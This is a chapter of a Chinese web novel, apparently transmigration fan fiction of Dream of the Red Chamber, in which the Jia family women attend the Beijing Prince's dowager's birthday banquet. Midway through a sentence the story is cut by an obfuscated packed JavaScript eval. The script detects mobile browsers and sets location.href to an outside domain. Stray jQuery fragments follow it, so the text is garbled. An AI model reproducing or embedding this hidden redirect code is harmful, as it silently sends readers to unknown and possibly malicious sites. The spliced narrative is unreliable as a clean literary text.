贾母笑道:“你们如今的年纪,正是爱玩的时候,一日日地只是闷在家里,也是怪可怜见儿的,如今有这样一个名目儿,一起出去逛逛也好。你们也不必太拘束,咱们家的孩子,这样的场合倒还去得,到时给老王妃磕个头,其余的事,你们都不必管。”
黛玉侧头同秦雪对了一个眼神。
去北静王府赴宴?这又是从哪里冒出来的新鲜事?
贾母笑着对黛玉招招手,将她揽在怀里,又对宝钗道:“你们两个也去。”
黛玉忙道:“外祖母,王府此番请的是二姐姐等,我便不去了。”一贯知礼的宝钗自然也谦让几句。
凤姐在旁笑道:“不妨事,这都是早定下的,王府来人递帖子的时候,说这位老王妃向来爱热闹,人越多、她老人家心里越欢喜,这回又是过整寿,正需要多些年轻孩子去拜寿,这才喜庆,听说满京城有体面人家的女孩儿都要去的。”
哈?满京城贵族人家的女孩儿都要去?
北静王府有多大的地皮啊?
北静王府果然很大。
秦雪扶着黛玉的手,一面小心走着、一面暗自咋舌。
自从穿到书里,体验了古代贵族家庭日常生活,她跟燕容两个私下里经常感慨的是“贫穷限制了想象力”。
即便认识到了这一点,她们也没想到这想象力的天花板竟然可以一高再高。
秦雪本以为宁荣二府加一个大观园已经够大了,毕竟往来两府都要坐小轿或者坐车。
没成想,跟这座王府一比,到底还是小巫见大巫了。
她不禁感慨,家里有这么大的地盘,是得多请几个人才够得上是“热闹”。
贾家的女孩儿们今日皆是一样的妆束,各自扶着丫鬟的手,跟着长辈齐齐整整、娉娉婷婷地鱼贯进入正房。
众人照例要先拜见寿星,跟着才入席。
正中锦绣堆里高高地坐着一个雍容华贵的老太太,满头银丝,戴着累丝鎏金嵌螺寿纹华胜,着寿字团花宫装、佩东珠,想来应是今日的寿星——北静王府的老王妃了。
秦雪将她的形容悄悄看在眼里,啧,这老太太看着还怪和气的。
可这里也有些奇怪,她记得书里说水溶的年纪最多不过二十左右,他的母亲怎么会有这么大年纪,已经过上七十整寿了?
老王妃的下首坐着一个年轻的女子,年约二十上下,也着宫装礼服,戴着佩凤纹银抹额、水晶金珠璎珞,眉目鲜明秀丽、举止端庄,让人见了好生心敬。
这个女子的嘴角始终噙着淡淡的笑意,行动间一丝不苟,却掩盖不了眉间一丝愁绪。
秦雪想,看这情形,这美人也许就是水溶的妻子,如今的北静郡王妃了。
此时却无暇多看、多想,一时有王府下人扬声唱报:“镇国宁国公府、辅国荣国公府女眷——觐见贺寿!”
所有丫头下人皆在外整整齐齐跪下等候,贾母则带领一班太太、奶奶、姑娘们向老王妃行大礼。
礼毕,老王妃便命将人搀起来,又单给贾母赐座。
老王妃笑道:“咱们也有这许多日子不曾见过了,你在家里闷着作甚么,怎么也不来瞧我?算起来,你比我还小上几岁,怎么如此托懒不肯动,今日还是我做生日,这才请得动你。”
贾母也笑道:“哪里的话,我倒有心来请安。只是如今我也老了,皱皮皱脸的,不愿出门讨人家的嫌。”
老王妃呵呵笑着,似乎十分开怀,邢夫人、王夫人等姿态也十分放松。
黛玉这才明白,原来两府长辈竟是十分熟络,这倒是从前不知道的。
贾母道:“今日这般好热闹,外头有那许多车马,不知是谁操持的,竟是一丝不错。”
老王妃向下首那年轻女子一点头,笑道:“都是我的儿媳能干。”
众人忙都夸赞一回郡王妃,郡王妃颔首致谢,仍旧十分端庄和气。
老王妃向下面几个贾家的女孩子眯着眼看了看,笑道:“走近些儿,我瞧瞧。”
迎春姊妹便上前去,一应都是粉颈低垂、仪态优雅。
老王妃道:“好孩子们,到了这里,便如在你们家里是一样的,不必拘束。都抬起头来,咱们说话儿。”
贾母便道:“听‘王妃娘娘’的话,都抬起头来罢。”
老王妃掌不住笑道:“你这人,又寒碜我。”一时却认真端详起贾家的女孩子们。
贾母在旁笑吟吟地介绍道:“这三个是我的孙女儿,这一个是外孙女儿,这一个是我们太太的外甥女儿,我们今日办了多多的寿礼来,我们小门小户的、实在有些心疼,特地也带多几个人,好吃回本儿去的。”
老王妃呵呵笑着,道:“你啊,底下的孩子们也这样大了,怎么年轻时候的性子还不肯改?一张嘴,真真笑死人。”一面又拉过几个孩子细看一回,一路看、一路点头,最终将目光停在黛玉和宝钗两个身上,目露惊艳之意,拉着黛玉的手问了几句话,一面道:“好、真好,到底是你比我有福气,有这些好孩子。”
她似乎格外喜欢黛玉似的,拉着黛玉凝神看了许久,这才让女孩儿们退下去。
老王妃的目光一直缀在黛玉身上,最后才与贾母对视一眼,两个老人似乎在眼神中说尽了万语千言。
老王妃笑道:“好、好,你有这些好孩子,都不肯让我知道,这会子可都叫我看见了,你可再藏不住了。还有那个有玉的孩子,他倒常来我家里坐坐,郡王爷是很称赞他的,那个是你的孙子罢,可还有重孙子没有?”
贾母答道:“有一个重孙子,一个重孙女,只是年纪都还太小,不大懂事、又怕见人,不敢带来扰您的兴。”
老王妃叹道:“那又怕什么,这把子年纪了,最不怕的就是吵闹。我是乐得有个小孩儿家在我身边吵着,只是没这个福气罢了。”
贾母笑道:“郡王爷、王妃这般年轻,又是这样的神仙人品,假以时日,您自当得偿所愿。”
郡王妃在旁边若有所思地坐着,仿佛这些人在说的事情同她没有关系一般,仍旧维持着一丝不苟的微笑。
老王妃笑道:“这些都是天意,我便借你的吉言了。你们入席去罢,等我在这边装完了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156935|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神,卸了这一身劳什子,后面再寻你说话去。”一面又对贾家姊妹们道:“今日各府上的女孩儿们来得多,你们尽可一处顽去,别听你们祖母管束。你们不知道,她年轻的时候的胡闹,可厉害着呢。”
众人都笑起来。
虽然老王妃十分平易近人,众人却也绝不肯在外失仪,仍旧是敛气屏声、规行矩步,由着王府下人将她们带入席上。
今日王府开内外两席,郡王爷在外宴请男宾,老王妃及郡王妃在内宴请女眷,中间以三十六架清一色玉石寿字屏风隔开。
女眷这边的席面上,正中是老王妃的主座,设一色金酒壶、金盘、金箸,席上有南安太妃等同品级的王府家眷陪坐,郡王妃坐在末位陪席。
其他来做客的女眷分别列坐在东西向布好的二十四张长案旁,每一桌都有果子、鲜花、蜜饯、点心等,摆放得十分严整。
远远的廊子下有两班乐师隔着水奏乐,将庆寿的曲子重新编过,一概不用锣鼓,只用箫笛琶筝等合奏,声音被水一润,更是好听。
待得众女宾都安静坐好后,有冠服严整、白发白眉的一位老内监高声唱报:“起——”
参加宴会的女眷们皆施然起身,一时满庭绸缎摩挲、珠翠轻摇、香风环绕,是极难形容的富贵热闹图景。
老内监气沉丹田,又唱:“祝——”
女眷们便齐声恭祝老王妃千秋,贺词是早有下人叮嘱过的,众口一声,再没有人说错。
内席祝罢,又有外席上男宾隔着屏风合祝,老王妃欢喜点头,笑着抬手道:“好、好,都入席罢!”
众人归座,立时便有王府女使流水一样将佳肴呈了上来。
王府设宴,食物酒水自然是精之又精,可惜赴宴的众人都是家教森严的贵族女眷,谁又能在这种场合大快朵颐?不过是将酒水沾沾唇,又将眼前的几样菜略尝一尝,就撤下去了。
一时饮宴毕,下人撤换席面,老王妃笑吟吟地向左右道:“今日有‘鹤翔班’的戏,早吩咐他们拣自己极好的几折来唱,也请诸位品鉴品鉴。”
南安太妃笑道:“哦?到底是老太妃金面,这鹤翔班久已不登台了,我们想请,也不大请得来。想当年,那班子也算得是‘名动京城’,我们家里也常请他们来唱的,当时有一个……对了,一个‘玉老板’,那实在是万里挑一的人物,最难得又是个少见的‘坤伶’,只可惜后头不唱了。”
老王妃笑道:“都是孩子们的孝敬,他们不知道从哪里打听了我从前尤爱看这一班的戏,这才好歹去请了来。他家如今虽没有‘玉老板’那样精彩的人物,年轻一代的孩子们也还过得去。只是,这到底是给我们有年纪的人怀旧的,恐怕今天这些女孩儿们要觉得气闷了。我想着,就留我们这些‘老人家’在这里看戏,让她们小孩子家到花园子里自在顽去罢。”
底下首席的一个贵妇人忙道:“今日咱们是来替老王妃贺寿,要紧的是您乐一日,不必顾及她们,小孩子家能来同您请一回安,学学王府女眷的气度教养,已是她们受用不尽了。”
其他人也纷纷附和。